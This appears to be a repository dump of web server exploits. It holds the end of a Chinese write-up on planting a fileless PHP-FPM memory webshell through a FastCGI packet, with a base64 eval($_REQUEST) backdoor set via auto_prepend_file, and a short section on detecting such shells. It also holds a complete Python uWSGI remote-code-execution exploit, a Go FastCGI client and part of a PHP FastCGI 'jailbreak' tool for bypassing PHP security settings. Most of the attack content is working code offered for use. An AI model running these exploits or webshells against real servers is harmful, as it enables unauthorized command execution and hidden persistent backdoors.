["GATEWAY_INTERFACE"]=> 38 | string(11) "FastCGI/1.0" 39 | ["REQUEST_METHOD"]=> 40 | string(3) "GET" 41 | ["SCRIPT_FILENAME"]=> 42 | string(30) "/home/www/wofeiwo/t.php" 43 | ["SCRIPT_NAME"]=> 44 | string(14) "/wofeiwo/t.php" 45 | ["QUERY_STRING"]=> 46 | string(0) "" 47 | ["REQUEST_URI"]=> 48 | string(14) "/wofeiwo/t.php" 49 | ["DOCUMENT_URI"]=> 50 | string(14) "/wofeiwo/t.php" 51 | ["PHP_ADMIN_VALUE"]=> 52 | string(102) "allow_url_include = On 53 | auto_prepend_file = \"data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\"" 54 | ["SERVER_SOFTWARE"]=> 55 | string(13) "80sec/wofeiwo" 56 | ["REMOTE_ADDR"]=> 57 | string(9) "127.0.0.1" 58 | ["REMOTE_PORT"]=> 59 | string(4) "9985" 60 | ["SERVER_ADDR"]=> 61 | string(9) "127.0.0.1" 62 | ["SERVER_PORT"]=> 63 | string(2) "80" 64 | ["SERVER_NAME"]=> 65 | string(9) "localhost" 66 | ["SERVER_PROTOCOL"]=> 67 | string(8) "HTTP/1.1" 68 | } 69 | ``` 70 | 71 | 以上是 fastcgi 的通讯包大概结构内容。至于怎么构造这个包,可以参考[这个代码](https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php)自己来改写。我们看到,由于不需要`php://input`,我们只需要 GET 请求即可,并且,构造请求只需要随意给一个存在的 php 文件路径,无所谓内容是啥。一个发包搞定一切,我们的 payload 已经无文件植入了。由于使用了`auto_prepend_file`,因此我们只需要访问服务器上任意一个正常的 PHP 文件,无需任何修改,都能触发我们的内存马。 72 | 73 | 我们访问个普通的 phpinfo.php 文件,看看是否能够稳定的固化我们的内存马。 74 | 75 | ![](https://gw.alipayobjects.com/zos/antfincdn/5%244FVNxhJN/295901f5-50ae-49c6-941e-a939292979f5.png) 76 | 77 | 果然已经成功的把我们想要的payload植入了进去。这里我们payload使用的是``的 base64。我们访问`phpinfo.php?test=echo(aaaaa);`看看效果,当然正常使用的时候我们可以更隐蔽。 78 | 79 | ![](https://gw.alipayobjects.com/zos/antfincdn/NcupWZtrHt/9ea3c832-d28c-4c51-9334-71cfe31c7034.png) 80 | 81 | 当然,这个方案也有局限性,因为是内存马,所以他实际上是和PHP-FPM的 Worker 进程绑定的,因此,如果服务器上有多个Worker进程,我们就需要多发送刚才的请求几次,才能让我们的payload“感染”每一个进程。 82 | 83 | 此外,我们还需要关注一个[php-fpm.conf的配置](https://www.php.net/manual/zh/install.fpm.configuration.php#pm.max-requests): 84 | 85 | > pm.max_requests int 86 | > 设置每个子进程重生之前服务的请求数。对于可能存在内存泄漏的第三方模块来说是非常有用的。如果设置为 '0' 则一直接受请求,等同于 PHP_FCGI_MAX_REQUESTS 环境变量。默认值:0。 87 | 88 | 这个配置定义了每一个 worker 进程最大处理多少请求,就会自动重生。主要作用可能是避免内存泄露,但是一旦重生了,我们的内存马也就失效了。庆幸的是,默认是不会重生的。 89 | 90 | ## 检测 91 | 既然是内存马,因此我们无法从代码扫描中发现。并且由于他只是修改了内存中的 PHP 配置,我们也无法从`PHP.ini/.user.ini/php-fpm.conf`等文件内容中检测。真正添加内存马由于只需要对fpm监听的端口发送请求,因此也无法从webserver的accesslog中发现问题。 92 | 93 | 但是我们是可以通过rasp之类的工具,通过检查`auto_prepend_file/auto_append_file/allow_url_inclue`配置的变化(虽然目前很多 rasp 也不会做这些操作)来做检测。 94 | 另外,由于触发方式可以是任意一个 PHP 文件,所以,我们想从后续的访问行为中做检查也有一定难度,但是可以从网络流量中检查对应的后门 payload,或者从进程的行为中,来做检查。 95 | 96 | ## 扩展 97 | 关于 PHP-FPM 的内存马,暂时就说这么多。那么这里还有一些疑问可以扩展: 98 | 99 | 1. mod_php模式下的内存马是否有可能实现? 100 | 2. 触发是否有除了`auto_prepend_file/auto_append_file`之外的方案? 101 | 3. 如何做到持久化,避免重生或者重启之后的? 102 | 103 | 我就不做一一展开了,有兴趣的朋友,可以延续着问题继续深入,欢迎讨论。 104 | -------------------------------------------------------------------------------- /python/uwsgi_exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # coding: utf-8 3 | ###################### 4 | # Uwsgi RCE Exploit 5 | ###################### 6 | # Author: wofeiwo@80sec.com 7 | # Created: 2017-7-18 8 | # Last modified: 2018-1-30 9 | # Note: Just for research purpose 10 | 11 | import sys 12 | import socket 13 | import argparse 14 | import requests 15 | 16 | def sz(x): 17 | s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0') 18 | if sys.version_info[0] == 3: import bytes 19 | s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex') 20 | return s[::-1] 21 | 22 | 23 | def pack_uwsgi_vars(var): 24 | pk = b'' 25 | for k, v in var.items() if hasattr(var, 'items') else var: 26 | pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8') 27 | result = b'\x00' + sz(pk) + b'\x00' + pk 28 | return result 29 | 30 | 31 | def parse_addr(addr, default_port=None): 32 | port = default_port 33 | if isinstance(addr, str): 34 | if addr.isdigit(): 35 | addr, port = '', addr 36 | elif ':' in addr: 37 | addr, _, port = addr.partition(':') 38 | elif isinstance(addr, (list, tuple, set)): 39 | addr, port = addr 40 | port = int(port) if port else port 41 | return (addr or '127.0.0.1', port) 42 | 43 | 44 | def get_host_from_url(url): 45 | if '//' in url: 46 | url = url.split('//', 1)[1] 47 | host, _, url = url.partition('/') 48 | return (host, '/' + url) 49 | 50 | 51 | def fetch_data(uri, payload=None, body=None): 52 | if 'http' not in uri: 53 | uri = 'http://' + uri 54 | s = requests.Session() 55 | # s.headers['UWSGI_FILE'] = payload 56 | if body: 57 | import urlparse 58 | body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path)) 59 | d = s.post(uri, data=body_d) 60 | else: 61 | d = s.get(uri) 62 | 63 | return { 64 | 'code': d.status_code, 65 | 'text': d.text, 66 | 'header': d.headers 67 | } 68 | 69 | 70 | def ask_uwsgi(addr_and_port, mode, var, body=''): 71 | if mode == 'tcp': 72 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 73 | s.connect(parse_addr(addr_and_port)) 74 | elif mode == 'unix': 75 | s = socket.socket(socket.AF_UNIX) 76 | s.connect(addr_and_port) 77 | s.send(pack_uwsgi_vars(var) + body.encode('utf8')) 78 | response = [] 79 | # Actually we dont need the response, it will block if we run any commands. 80 | # So I comment all the receiving stuff. 81 | # while 1: 82 | # data = s.recv(4096) 83 | # if not data: 84 | # break 85 | # response.append(data) 86 | s.close() 87 | return b''.join(response).decode('utf8') 88 | 89 | 90 | def curl(mode, addr_and_port, payload, target_url): 91 | host, uri = get_host_from_url(target_url) 92 | path, _, qs = uri.partition('?') 93 | if mode == 'http': 94 | return fetch_data(addr_and_port+uri, payload) 95 | elif mode == 'tcp': 96 | host = host or parse_addr(addr_and_port)[0] 97 | else: 98 | host = addr_and_port 99 | var = { 100 | 'SERVER_PROTOCOL': 'HTTP/1.1', 101 | 'REQUEST_METHOD': 'GET', 102 | 'PATH_INFO': path, 103 | 'REQUEST_URI': uri, 104 | 'QUERY_STRING': qs, 105 | 'SERVER_NAME': host, 106 | 'HTTP_HOST': host, 107 | 'UWSGI_FILE': payload, 108 | 'SCRIPT_NAME': target_url 109 | } 110 | return ask_uwsgi(addr_and_port, mode, var) 111 | 112 | 113 | def main(*args): 114 | desc = """ 115 | This is a uwsgi client & RCE exploit. 116 | Last modifid at 2018-01-30 by wofeiwo@80sec.com 117 | """ 118 | elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\"" 119 | 120 | parser = argparse.ArgumentParser(description=desc, epilog=elog) 121 | 122 | parser.add_argument('-m', '--mode', nargs='?', default='tcp', 123 | help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.', 124 | dest='mode', choices=['http', 'tcp', 'unix']) 125 | 126 | parser.add_argument('-u', '--uwsgi', nargs='?', required=True, 127 | help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock', 128 | dest='uwsgi_addr') 129 | 130 | parser.add_argument('-c', '--command', nargs='?', required=True, 131 | help='Command: The exploit command you want to execute, must have this.', 132 | dest='command') 133 | 134 | if len(sys.argv) < 2: 135 | parser.print_help() 136 | return 137 | args = parser.parse_args() 138 | if args.mode.lower() == "http": 139 | print("[-]Currently only tcp/unix method is supported in RCE exploit.") 140 | return 141 | payload = 'exec://' + args.command + "; echo test" # must have someting in output or the uWSGI crashs. 142 | print("[*]Sending payload.") 143 | print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp')) 144 | 145 | if __name__ == '__main__': 146 | main() -------------------------------------------------------------------------------- /php/Fastcgi/fcgiclient.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012 Junqing Tan and The Go Authors 2 | // Use of this source code is governed by a BSD-style 3 | // Part of source code is from Go fcgi package 4 | 5 | // Fix bug: Can't recive more than 1 record untill FCGI_END_REQUEST 2012-09-15 6 | // By: wofeiwo 7 | 8 | package fcgiclient 9 | 10 | import ( 11 | "bufio" 12 | "bytes" 13 | "encoding/binary" 14 | "errors" 15 | "io" 16 | "net" 17 | "strconv" 18 | "sync" 19 | ) 20 | 21 | const FCGI_LISTENSOCK_FILENO uint8 = 0 22 | const FCGI_HEADER_LEN uint8 = 8 23 | const VERSION_1 uint8 = 1 24 | const FCGI_NULL_REQUEST_ID uint8 = 0 25 | const FCGI_KEEP_CONN uint8 = 1 26 | 27 | const ( 28 | FCGI_BEGIN_REQUEST uint8 = iota + 1 29 | FCGI_ABORT_REQUEST 30 | FCGI_END_REQUEST 31 | FCGI_PARAMS 32 | FCGI_STDIN 33 | FCGI_STDOUT 34 | FCGI_STDERR 35 | FCGI_DATA 36 | FCGI_GET_VALUES 37 | FCGI_GET_VALUES_RESULT 38 | FCGI_UNKNOWN_TYPE 39 | FCGI_MAXTYPE = FCGI_UNKNOWN_TYPE 40 | ) 41 | 42 | const ( 43 | FCGI_RESPONDER uint8 = iota + 1 44 | FCGI_AUTHORIZER 45 | FCGI_FILTER 46 | ) 47 | 48 | const ( 49 | FCGI_REQUEST_COMPLETE uint8 = iota 50 | FCGI_CANT_MPX_CONN 51 | FCGI_OVERLOADED 52 | FCGI_UNKNOWN_ROLE 53 | ) 54 | 55 | const ( 56 | FCGI_MAX_CONNS string = "MAX_CONNS" 57 | FCGI_MAX_REQS string = "MAX_REQS" 58 | FCGI_MPXS_CONNS string = "MPXS_CONNS" 59 | ) 60 | 61 | const ( 62 | maxWrite = 6553500 // maximum record body 63 | maxPad = 255 64 | ) 65 | 66 | type header struct { 67 | Version uint8 68 | Type uint8 69 | Id uint16 70 | ContentLength uint16 71 | PaddingLength uint8 72 | Reserved uint8 73 | } 74 | 75 | // for padding so we don't have to allocate all the time 76 | // not synchronized because we don't care what the contents are 77 | var pad [maxPad]byte 78 | 79 | func (h *header) init(recType uint8, reqId uint16, contentLength int) { 80 | h.Version = 1 81 | h.Type = recType 82 | h.Id = reqId 83 | h.ContentLength = uint16(contentLength) 84 | h.PaddingLength = uint8(-contentLength & 7) 85 | } 86 | 87 | type record struct { 88 | h header 89 | buf [maxWrite + maxPad]byte 90 | } 91 | 92 | func (rec *record) read(r io.Reader) (err error) { 93 | if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil { 94 | return err 95 | } 96 | if rec.h.Version != 1 { 97 | return errors.New("fcgi: invalid header version") 98 | } 99 | n := int(rec.h.ContentLength) + int(rec.h.PaddingLength) 100 | if _, err = io.ReadFull(r, rec.buf[:n]); err != nil { 101 | return err 102 | } 103 | return nil 104 | } 105 | 106 | func (r *record) content() []byte { 107 | return r.buf[:r.h.ContentLength] 108 | } 109 | 110 | type FCGIClient struct { 111 | mutex sync.Mutex 112 | rwc io.ReadWriteCloser 113 | h header 114 | buf bytes.Buffer 115 | keepAlive bool 116 | } 117 | 118 | func New(h string, args ...interface{}) (fcgi *FCGIClient, err error) { 119 | var conn net.Conn 120 | if len(args) != 1 { 121 | err = errors.New("fcgi: not enough params") 122 | return 123 | } 124 | switch args[0].(type) { 125 | case int: 126 | addr := h + ":" + strconv.FormatInt(int64(args[0].(int)), 10) 127 | conn, err = net.Dial("tcp", addr) 128 | case string: 129 | addr := h + ":" + args[0].(string) 130 | conn, err = net.Dial("unix", addr) 131 | default: 132 | err = errors.New("fcgi: we only accept int (port) or string (socket) params.") 133 | } 134 | fcgi = &FCGIClient{ 135 | rwc: conn, 136 | keepAlive: false, 137 | } 138 | return 139 | } 140 | 141 | func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) { 142 | this.mutex.Lock() 143 | defer this.mutex.Unlock() 144 | this.buf.Reset() 145 | this.h.init(recType, reqId, len(content)) 146 | if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil { 147 | return err 148 | } 149 | if _, err := this.buf.Write(content); err != nil { 150 | return err 151 | } 152 | if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil { 153 | return err 154 | } 155 | _, err = this.rwc.Write(this.buf.Bytes()) 156 | return err 157 | } 158 | 159 | func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error { 160 | b := [8]byte{byte(role >> 8), byte(role), flags} 161 | return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:]) 162 | } 163 | 164 | func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error { 165 | b := make([]byte, 8) 166 | binary.BigEndian.PutUint32(b, uint32(appStatus)) 167 | b[4] = protocolStatus 168 | return this.writeRecord(FCGI_END_REQUEST, reqId, b) 169 | } 170 | 171 | func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error { 172 | w := newWriter(this, recType, reqId) 173 | b := make([]byte, 8) 174 | for k, v := range pairs { 175 | n := encodeSize(b, uint32(len(k))) 176 | n += encodeSize(b[n:], uint32(len(v))) 177 | if _, err := w.Write(b[:n]); err != nil { 178 | return err 179 | } 180 | if _, err := w.WriteString(k); err != nil { 181 | return err 182 | } 183 | if _, err := w.WriteString(v); err != nil { 184 | return err 185 | } 186 | } 187 | w.Close() 188 | return nil 189 | } 190 | 191 | func readSize(s []byte) (uint32, int) { 192 | if len(s) == 0 { 193 | return 0, 0 194 | } 195 | size, n := uint32(s[0]), 1 196 | if size&(1<<7) != 0 { 197 | if len(s) < 4 { 198 | return 0, 0 199 | } 200 | n = 4 201 | size = binary.BigEndian.Uint32(s) 202 | size &^= 1 << 31 203 | } 204 | return size, n 205 | } 206 | 207 | func readString(s []byte, size uint32) string { 208 | if size > uint32(len(s)) { 209 | return "" 210 | } 211 | return string(s[:size]) 212 | } 213 | 214 | func encodeSize(b []byte, size uint32) int { 215 | if size > 127 { 216 | size |= 1 << 31 217 | binary.BigEndian.PutUint32(b, size) 218 | return 4 219 | } 220 | b[0] = byte(size) 221 | return 1 222 | } 223 | 224 | // bufWriter encapsulates bufio.Writer but also closes the underlying stream when 225 | // Closed. 226 | type bufWriter struct { 227 | closer io.Closer 228 | *bufio.Writer 229 | } 230 | 231 | func (w *bufWriter) Close() error { 232 | if err := w.Writer.Flush(); err != nil { 233 | w.closer.Close() 234 | return err 235 | } 236 | return w.closer.Close() 237 | } 238 | 239 | func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter { 240 | s := &streamWriter{c: c, recType: recType, reqId: reqId} 241 | w := bufio.NewWriterSize(s, maxWrite) 242 | return &bufWriter{s, w} 243 | } 244 | 245 | // streamWriter abstracts out the separation of a stream into discrete records. 246 | // It only writes maxWrite bytes at a time. 247 | type streamWriter struct { 248 | c *FCGIClient 249 | recType uint8 250 | reqId uint16 251 | } 252 | 253 | func (w *streamWriter) Write(p []byte) (int, error) { 254 | nn := 0 255 | for len(p) > 0 { 256 | n := len(p) 257 | if n > maxWrite { 258 | n = maxWrite 259 | } 260 | if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil { 261 | return nn, err 262 | } 263 | nn += n 264 | p = p[n:] 265 | } 266 | return nn, nil 267 | } 268 | 269 | func (w *streamWriter) Close() error { 270 | // send empty record to close the stream 271 | return w.c.writeRecord(w.recType, w.reqId, nil) 272 | } 273 | 274 | func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) { 275 | 276 | var reqId uint16 = 1 277 | defer this.rwc.Close() 278 | 279 | err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0) 280 | if err != nil { 281 | return 282 | } 283 | err = this.writePairs(FCGI_PARAMS, reqId, env) 284 | if err != nil { 285 | return 286 | } 287 | if len(reqStr) > 0 { 288 | err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr)) 289 | if err != nil { 290 | return 291 | } 292 | } 293 | 294 | rec := &record{} 295 | var err1 error 296 | 297 | // recive untill EOF or FCGI_END_REQUEST 298 | for { 299 | err1 = rec.read(this.rwc) 300 | if err1 != nil { 301 | if err1 != io.EOF { 302 | err = err1 303 | } 304 | break 305 | } 306 | switch { 307 | case rec.h.Type == FCGI_STDOUT: 308 | retout = append(retout, rec.content()...) 309 | case rec.h.Type == FCGI_STDERR: 310 | reterr = append(reterr, rec.content()...) 311 | case rec.h.Type == FCGI_END_REQUEST: 312 | fallthrough 313 | default: 314 | break 315 | } 316 | } 317 | 318 | return 319 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /php/Fastcgi/fcgi_jailbreak.php: -------------------------------------------------------------------------------- 1 | 6 | * @date 2013-01-23 7 | * @version 1.0 8 | * @reference https://bugs.php.net/bug.php?id=64103 9 | * @reference http://www.wooyun.org/bugs/wooyun-2013-018116 (Chinese) 10 | * @note disable php security settings, but can't overwrite disable_function/disable_classes. 11 | */ 12 | ?> 13 | PHP Version(Must >= 5.3.3):
14 | PHP Sapi Name(Must FASTCGI):
15 | Safe_mode:
16 | Disable_functions:
17 | Open_basedir:
18 |
19 | Fastcgi Host: " />
20 | Fastcgi Port: " />
21 | Execute Script:
22 | Execute CMD:
23 | 24 |
25 |
 26 | 
 27 |  
 47 |  * @version     1.0
 48 |  */
 49 | class FCGIClient
 50 | {
 51 |     const VERSION_1            = 1;
 52 | 
 53 |     const BEGIN_REQUEST        = 1;
 54 |     const ABORT_REQUEST        = 2;
 55 |     const END_REQUEST          = 3;
 56 |     const PARAMS               = 4;
 57 |     const STDIN                = 5;
 58 |     const STDOUT               = 6;
 59 |     const STDERR               = 7;
 60 |     const DATA                 = 8;
 61 |     const GET_VALUES           = 9;
 62 |     const GET_VALUES_RESULT    = 10;
 63 |     const UNKNOWN_TYPE         = 11;
 64 |     const MAXTYPE              = self::UNKNOWN_TYPE;
 65 | 
 66 |     const RESPONDER            = 1;
 67 |     const AUTHORIZER           = 2;
 68 |     const FILTER               = 3;
 69 | 
 70 |     const REQUEST_COMPLETE     = 0;
 71 |     const CANT_MPX_CONN        = 1;
 72 |     const OVERLOADED           = 2;
 73 |     const UNKNOWN_ROLE         = 3;
 74 | 
 75 |     const MAX_CONNS            = 'MAX_CONNS';
 76 |     const MAX_REQS             = 'MAX_REQS';
 77 |     const MPXS_CONNS           = 'MPXS_CONNS';
 78 | 
 79 |     const HEADER_LEN           = 8;
 80 | 
 81 |     /**
 82 |      * Socket
 83 |      * @var Resource
 84 |      */
 85 |     private $_sock = null;
 86 | 
 87 |     /**
 88 |      * Host
 89 |      * @var String
 90 |      */
 91 |     private $_host = null;
 92 | 
 93 |     /**
 94 |      * Port
 95 |      * @var Integer
 96 |      */
 97 |     private $_port = null;
 98 | 
 99 |     /**
100 |      * Keep Alive
101 |      * @var Boolean
102 |      */
103 |     private $_keepAlive = false;
104 | 
105 |     /**
106 |      * Constructor
107 |      *
108 |      * @param String $host Host of the FastCGI application
109 |      * @param Integer $port Port of the FastCGI application
110 |      */
111 |     public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
112 |     {
113 |         $this->_host = $host;
114 |         $this->_port = $port;
115 |     }
116 | 
117 |     /**
118 |      * Define whether or not the FastCGI application should keep the connection
119 |      * alive at the end of a request
120 |      *
121 |      * @param Boolean $b true if the connection should stay alive, false otherwise
122 |      */
123 |     public function setKeepAlive($b)
124 |     {
125 |         $this->_keepAlive = (boolean)$b;
126 |         if (!$this->_keepAlive && $this->_sock) {
127 |             fclose($this->_sock);
128 |         }
129 |     }
130 | 
131 |     /**
132 |      * Get the keep alive status
133 |      *
134 |      * @return Boolean true if the connection should stay alive, false otherwise
135 |      */
136 |     public function getKeepAlive()
137 |     {
138 |         return $this->_keepAlive;
139 |     }
140 | 
141 |     /**
142 |      * Create a connection to the FastCGI application
143 |      */
144 |     private function connect()
145 |     {
146 |         if (!$this->_sock) {
147 |             $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
148 |             if (!$this->_sock) {
149 |                 throw new Exception('Unable to connect to FastCGI application');
150 |             }
151 |         }
152 |     }
153 | 
154 |     /**
155 |      * Build a FastCGI packet
156 |      *
157 |      * @param Integer $type Type of the packet
158 |      * @param String $content Content of the packet
159 |      * @param Integer $requestId RequestId
160 |      */
161 |     private function buildPacket($type, $content, $requestId = 1)
162 |     {
163 |         $clen = strlen($content);
164 |         return chr(self::VERSION_1)         /* version */
165 |             . chr($type)                    /* type */
166 |             . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
167 |             . chr($requestId & 0xFF)        /* requestIdB0 */
168 |             . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
169 |             . chr($clen & 0xFF)             /* contentLengthB0 */
170 |             . chr(0)                        /* paddingLength */
171 |             . chr(0)                        /* reserved */
172 |             . $content;                     /* content */
173 |     }
